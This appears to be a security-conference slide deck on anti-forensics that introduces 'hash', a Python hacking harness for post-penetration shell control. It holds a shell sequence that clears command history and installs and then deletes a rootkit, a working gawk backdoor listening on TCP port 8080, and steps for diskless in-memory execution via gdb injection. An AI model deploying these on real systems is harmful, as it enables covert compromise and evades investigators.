Meta Anti Forensics

Presenting the hash Hacking Harness
the grugq <grugq@tacticalvoip.com>
Agenda

- Anti Forensics
- On Hacking
- Hacking Harness
  - Features
  - Implementation
- Final Thoughts
the grugq

- Independent Security Researcher
- Core focus
  - Anti-Forensics (pioneer since 1999)
  - Telephony Security
  - Binary Analysis
- Thailand based
Anti Forensics
Extremely Short Overview
Principles

- Reduce the quantity and quality of evidence
- Data *is* evidence
Strategies

• **Data Destruction**
  • Secure delete, magnets, hammer, etc.

• **Data Hiding**
  • Forensic tool evasion, chaffing, exploiting

• **Data Contraception**
  • Execute directly in memory
• Limit the use of custom tools
• Cleaning data off the file system is difficult
  • Better not to create it
• Stay off the disk, keep it in memory
On Hacking

[Hacking] is a contest of blunders, he who makes the fewest, wins.
Hacking Tools

Pre-Penetration
- Fuzzers, binary analysis, src auditing

Penetration
- Exploit frameworks, SQL injectors

Post-Penetration
- Rootkits, backdoors
Hacking Environment

- **Vanilla Shell** - bare back hacking
  - Powerful environment for exploitation
  - Non existent post-penetration control
- **GUI tool** - pornographic hacking
  - Limited post-exploitation control
  - Don’t play nicely with others
Bare Back Hacking

$ ./exploit -t target.host.sg

...... done!

# unset HISTFILE
# mkdir -p /root/.mc/bin/scripts
# cd /root/.mc/bin/scripts
# cat > rk.tgz.uu << __EOF__
[snip]
# uudecode rk.tgz.uu; tar xz rk.tgz
# cd rk && ./install.sh
# rm -rf rk*
Post Penetration Issues

- Limited to a shell
- Exploit frameworks can mitigate, but don’t play nicely with others
- File transfer
  - `cat` & `uudecode` are lame!
- Habits of highly effective hackers
  - `unset HISTFILE`
Preliminary Conclusion

Clear need for automation and a more powerful hacking environment
Requirements

• Normal shell environment
• Complete control over the shell
• Scriptable
• Extensible
• Plays nicely with others
Hacking Harness
Post Penetration Control
A Hacking Harness...

- Provides total control over the hacking environment
- Enables automation via programmable IO
- Unrestricted interactive sessions
Desirable Features

• Modular plugin framework
• Inline file transfer
• Command aliasing
• Plays nicely with metasploit / CANVAS
Hacking Harness

$ ./exploit -t target.host.sg
..... done!
# ^\
hash% newroot
# ^\
hash% put rk.tgz
# ^\nhash% installrk
#

Could be automated further with expect and/or more comprehensive newroot
• get a shell [ssh]
• check variables [ckvars]
• upload a file [put]
• download a file [get]
• execute a backdoor [qondom]
hash

Making simple things easy, and difficult things possible
Brief History

• Originally inspired by a private tool in 2000
• Initial development as xsh in 2003
  • Written in C
  • Spent months dealing with terminal IO
• Restarted in Python in June, 2007
  • Over a dozen implementations
Components

- Hacking environment
- Plugin framework
- Builtin commands
- Multiplexing pty command and control daemon
- Sub-process shell inside pty
hash Features

- Inline file transfer
- qondom
- Triggers
- Aliasing
- File system && shell escape commands
Inline File Transfer

- Pass file content as hexdump “encoded” data
- hash% put <file>
  - encode as ASCII hex char stream
  - decode with echo
    - `echo -e -n '\x...' >> $FILE_NAME`
- hash% get <file>
  - encode with octal dump (od)
    - `od -t x1 -v $FILE | sed -e 's///'`
qondom.exec()

- Diskless execution of binaries and scripts
- Technique for scripts
  - Run script interpreter (e.g. /bin/sh)
  - Send script content over STDIN
gawk Backdoor

BEGIN {
    Port = 8080
    Prompt = "bkd> 

    Service = "/inet/tcp/" Port "/0/0"
    while (1) {
        do {
            printf Prompt |& Service
            Service |& getline cmd
            if (cmd) {
                while ((cmd |& getline) > 0)
                    print $0 |& Service
                close(cmd)
            }
        } while (cmd != "exit")
        close(Service)
    }
}
qondom.exec() cont.

- Technique for binaries
- Use debugger to interface with a process
- Inject binary and run
- TODO: re-implement using gdbrpc
rexec (original)

- Inspired by CORE Impact’s syscall proxying
- Written as a C library
- Generated absolutely no interest
exec ELF binary

- Create a process address space
- Map down existing process image
- Allocate space for new process image
- Relocate process image
- Inject process image
- Transfer control of execution
gdbrpc

- Execute system calls
  `(gdb) p/x mmap(...)`
- Copy in data
  `(gdb) p/x memcpy(0x.., "\x00\x...", ...)`
- Set registers
  `(gdb) p/x $eax = 0x01`
- Set values
  `(gdb) *(int *) 0x... = 0x...`
Triggers

- Monitor output stream of pty process, automatically execute commands on triggers

- trigger ‘^# $’ = “unset HISTFILE; ^\put rk.tgz”

- TODO: Implement this **without** massive performance overhead
Aliased Commands

- Create an alias for a sequence of commands
  - alias newroot="unset HISTFILE"
- TODO: Allow aliased commands to access hash commands
Misc. Commands

• Keep a complete record of all session data
  • log

• Dump local files to STDIN of pty shell
  • cat <file1> [ <file2> ... ]

• Change hash current working directory
  • cd <dir>

- Shell escape

- ! <shell command>
Implementation

• Developed in Python (2.4 and higher)
• Core components as modules
• Pty shell interaction via pexpect
Core Modules

- `dtach`
  - Multiplexing pty IO daemon
- `dtach.dtach()`, `dtach.attach()`
- `interp.Interpretor`
- `pexpect` based wrapper for pty shells
Core Modules cont.

- `command.Command`
- Base class for all hash commands
- `self.shell.init()`, `run()`, `fini`
- `self.shell.system()`
Concluding Thoughts

• Hacking harnesses are crucial penetration testing tools
• Expect more developments in this space
• hash is the first public hacking harness
• not just a new tool, a new type of tool
• Available for download (soon)

http://www.tacticalvoip.com/tools.html
Q&A